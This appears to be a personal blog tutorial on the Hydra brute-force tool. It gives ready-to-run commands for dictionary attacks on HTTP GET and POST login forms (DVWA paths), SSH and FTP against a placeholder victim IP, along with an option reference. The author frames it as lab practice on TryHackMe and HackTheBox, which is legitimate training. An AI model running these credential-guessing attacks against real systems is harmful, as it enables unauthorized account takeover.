hydra

hydra

Hydra is the tool for excellence to perform password and brute force attacks. It is very powerful and supports various protocols, including:

FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, POP3, POSTGRES, RDP, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Telnet, VMware-Auth, VNC eXMPP

So here are some examples of use of hydra.

Http GET attack

When you want to attack a login form which uses GET request you must intercept packets, using for example BurpSuite, to see the parameters required from this request. Then you can set properly the relative hydra parameter. So, assuming that BurpSuite has intercepted this packet:

here you can see that it is a GET request and that the parameters are:

/dvwa/vulnerabilities/brute/?username=USER&password=PASS&Login=Login

Then, hydra command will be as follow:

hydra -L /path/to/file -P /path/to/file http-get-form "/dvwa/vulnerabilities/brute/?username=^USER^&password=^PASS^&Login=Login:F=incorrect" VictimIP -V -I

-L means that “USER” must be found through dictionary attack using a file;

-P means that “PASS” must be found through dictionary attack using a file;

:F=incorrect is the error message when login failed due to ‘incorrect’ credentials; if the word put as an option (in this case ‘incorrect’) is not the right one hydra will give false positives and the result will not be correct.

-V is Verbose mode.

Http POST attack

Http POST method is the same as previous but credentials in POST request are send as payload and not as Header of a request; in fact the packet capture from BurpSuite will be as follow:

so it is a POST request and the payload is:

username=admin&password=password&Login=Login.

Then the right Hydra command will be:

hydra  -L  /path/to/file   -P  /path/to/file  http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:F=incorrect" VictimIP -V -I

As for the options, they are the same as seen above.

SSH attack

Another powerful use of hydra is in ssh credentials attack. This attack is useful when ssh allow credentials access and not only key authentication access. Thus the command will be:

hydra  -L  /path/to/file   -P  /path/to/file VictimIP ssh -V -I

Even now the options are the same as above but the command is simpler because it doesn’t need GET or POST options nor the option :F= for incorrect message.

FTP attack

FTP attack is very similar to SSH attack. In fact only the protocol (ftp) changes:

hydra  -L  /path/to/file   -P  /path/to/file VictimIP ftp -V -I

In all cases if I know the user’s name I can still insert it directly without using the wordlist file. For example if I know that ftp user is “admin” I can use the follow command:

hydra  -l admin -P  /path/to/file VictimIP ftp -V -I
-l option, not -L.

Instead if I only know the password but not the username:

hydra  -L  /path/to/file  -p password VictimIP ftp -V -I
-p option, not -P.

Others Main Options

Others useful and importants options are:

-s specify which port hydra should attack (if, for example, ssh is not listening on standard port 22)
-t specifies the number of threads used (example: -t 4) - the default is 16
-V controls the verbosity of hydra
-e nsr the -e flag  gives  you  more options to  test with. When  passwords  are so bad you have to account for them outside of your wordlist. The letters nsr after the -e flag correspond to: stands for "null," meaning that Hydra  will  test for a user without a password. stands for "same" and hydra will test the same password as the username. stands for "reverse": if a user reverses his password hydra will catch that too.
-L dictionary user file
-l specific user
-P dictionary password file
-p specific password
-R restore a previous aborted/crashed session
-S connect via SSL
-f exit after the first found login/password pair
-o write found login/password pairs to FILE instead of stdout
-I ignore an existing restore file (don't wait 10 seconds)

Conclusions

That said, in my opinion this tool is very useful and I use it very often during my practice on TryHackMe or on Hackthebox rooms. Its versatility, in fact, allows you to use it on many occasions and you can optimize the attack based on the info you have.

5 1 vote
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments